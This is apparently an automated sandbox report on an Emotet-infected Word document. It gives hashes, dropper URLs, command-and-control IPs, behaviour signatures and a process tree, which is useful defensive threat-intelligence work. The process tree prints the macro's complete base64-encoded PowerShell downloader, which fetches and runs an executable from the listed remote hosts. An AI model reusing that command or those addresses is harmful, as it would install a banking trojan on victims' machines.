Overview

overview

10

Static

static

document

windows7_x64

10

Analysis

  • max time kernel
    240s
  • max time network
    172s
  • platform
    windows7_x64
  • resource
    win7v200213
  • submitted
    13-02-2020 18:50

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Form.doc

  • Size

    260KB

  • MD5

    c2b48d21764b195fb0ebbdd3d1bdd89a

  • SHA1

    d8ca2aaba616f0281255a10634b6c4e17bb59336

  • SHA256

    186ec909dc32c982ab4bd6b257bb25a2726df856d4cf6c829e06683c352c92b2

  • SHA512

    c975a51bcf4cef1c345fcdadc59bd6b78ceeb96179b1c9621ef6070848f8452d8235b1d66223154edc7106cbe5d800e538a436c51e09f3828bf801849f740705

Score
10/10
trojanbankeremotetevasionspyware

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://adamwilt15.com/wp-content/INy1yG/
exe.dropper

https://ansu.or.jp/wp-includes/Requests/wEX/
exe.dropper

https://megafitsupplements.com/wp-admin/V5f4VC/
exe.dropper

https://www.kaiwangdian.com/wp-includes/Hz/
exe.dropper

https://vfxcool.com/wp-includes/Pkw/

Extracted

Family

emotet

C2

71.126.247.90:80

98.239.119.52:80

80.86.91.91:8080

104.236.28.47:8080

47.155.214.239:443

180.92.239.110:8080

87.106.136.232:8080

76.104.80.47:80

173.16.62.227:80

92.222.216.44:8080

47.153.183.211:80

74.130.83.133:80

47.156.70.145:80

110.36.217.66:8080

160.16.215.66:8080

200.116.145.225:443

181.13.24.82:80

24.94.237.248:80

5.32.55.214:80

31.172.240.91:8080
rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Drops file in System32 directory 2 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Form.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1984
  • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
    PoWERsheLL -e JABHAGYAaAByAG0AaABzAHMAcQBxAGkAaQBnAD0AJwBCAHIAdABmAHcAcABjAGcAYgBjACcAOwAkAFAAcQBiAGEAawBjAHUAawBpAHUAcQAgAD0AIAAnADIANwAwACcAOwAkAEkAbQBnAHoAYgBvAGQAbABoAD0AJwBVAHIAeQB6AGEAdAByAGQAcQBsACcAOwAkAFoAcwB1AGIAcQB5AG8AagBxAG8AdwB6AGIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAcQBiAGEAawBjAHUAawBpAHUAcQArACcALgBlAHgAZQAnADsAJABCAGwAYgBqAGUAegBmAHAAZgBtAG8APQAnAEsAaQBoAHIAagB4AHQAbQAnADsAJABKAGIAaQBlAHkAdQBiAHcAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAGIAYwBsAEkAZQBuAHQAOwAkAEQAZgB5AGMAbAB2AGQAZABzAGwAawBzAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBkAGEAbQB3AGkAbAB0ADEANQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEkATgB5ADEAeQBHAC8AKgBoAHQAdABwAHMAOgAvAC8AYQBuAHMAdQAuAG8AcgAuAGoAcAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFIAZQBxAHUAZQBzAHQAcwAvAHcARQBYAC8AKgBoAHQAdABwAHMAOgAvAC8AbQBlAGcAYQBmAGkAdABzAHUAcABwAGwAZQBtAGUAbgB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYANQBmADQAVgBDAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBrAGEAaQB3AGEAbgBnAGQAaQBhAG4ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEgAegAvACoAaAB0AHQAcABzADoALwAvAHYAZgB4AGMAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFAAawB3AC8AJwAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABFAHIAYwBmAGkAawBkAGUAcwB5AD0AJwBPAGEAZgB6AG0AYwBwAGcAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwB6AHEAbwBzAGcAZwBnAHMAdwBkAGQAIABpAG4AIAAkAEQAZgB5AGMAbAB2AGQAZABzAGwAawBzAHoAKQB7AHQAcgB5AHsAJABKAGIAaQBlAHkAdQBiAHcALgAiAGQAbwBXAE4AbABvAGAAQQBkAGYAYABpAGwAZQAiACgAJABXAHoAcQBvAHMAZwBnAGcAcwB3AGQAZAAsACAAJABaAHMAdQBiAHEAeQBvAGoAcQBvAHcAegBiACkAOwAkAFYAcQBrAGoAbQBoAG8AcABkAHUAYQA9ACcAQgB0AHcAZQBjAGkAdgBsAGkAZQB1AGgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABaAHMAdQBiAHEAeQBvAGoAcQBvAHcAegBiACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA5ADYANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAYABFAEEAVABlACIAKAAkAFoAcwB1AGIAcQB5AG8AagBxAG8AdwB6AGIAKQA7ACQAUgB3AGEAZABiAGQAaABwAHkAYgA9ACcARQBpAHIAbABuAGQAbQB4AHMAZgBsAGQAeQAnADsAYgByAGUAYQBrADsAJABNAGwAcABjAHoAeABjAHkAPQAnAFcAdQBwAHQAZAB4AGQAbABsAHEAYwByACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAegBtAHMAbABsAHgAZgB0AD0AJwBFAGoAeQByAHoAYgBrAGsAcwBxAGkAeAAnAA==
    1⤵
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1256
  • C:\Users\Admin\270.exe
    C:\Users\Admin\270.exe
    1⤵
    • Suspicious behavior: EmotetMutantsSpam
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:744
    • C:\Windows\SysWOW64\ipsmsnap\ipsmsnap.exe
      "C:\Windows\SysWOW64\ipsmsnap\ipsmsnap.exe"
      2⤵
      • Suspicious behavior: EmotetMutantsSpam
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\270.exe
    Download Submit
  • C:\Users\Admin\270.exe
    Download Submit
  • C:\Windows\SysWOW64\ipsmsnap\ipsmsnap.exe
    Download Submit
  • memory/744-11-0x0000000000370000-0x000000000037C000-memory.dmp
    Filesize

    48KB

    Download
  • memory/744-12-0x0000000000400000-0x00000000004F7000-memory.dmp
    Filesize

    988KB

    Download
  • memory/1652-14-0x00000000001F0000-0x00000000001FC000-memory.dmp
    Filesize

    48KB

    Download
  • memory/1652-15-0x0000000000400000-0x00000000004F7000-memory.dmp
    Filesize

    988KB

    Download
  • memory/1984-2-0x00000000089E0000-0x00000000089E4000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1984-3-0x0000000006F00000-0x0000000007100000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1984-5-0x000000000AF90000-0x000000000AF94000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1984-6-0x000000000C010000-0x000000000C014000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1984-8-0x000000000C010000-0x000000000C014000-memory.dmp
    Filesize

    16KB

    Download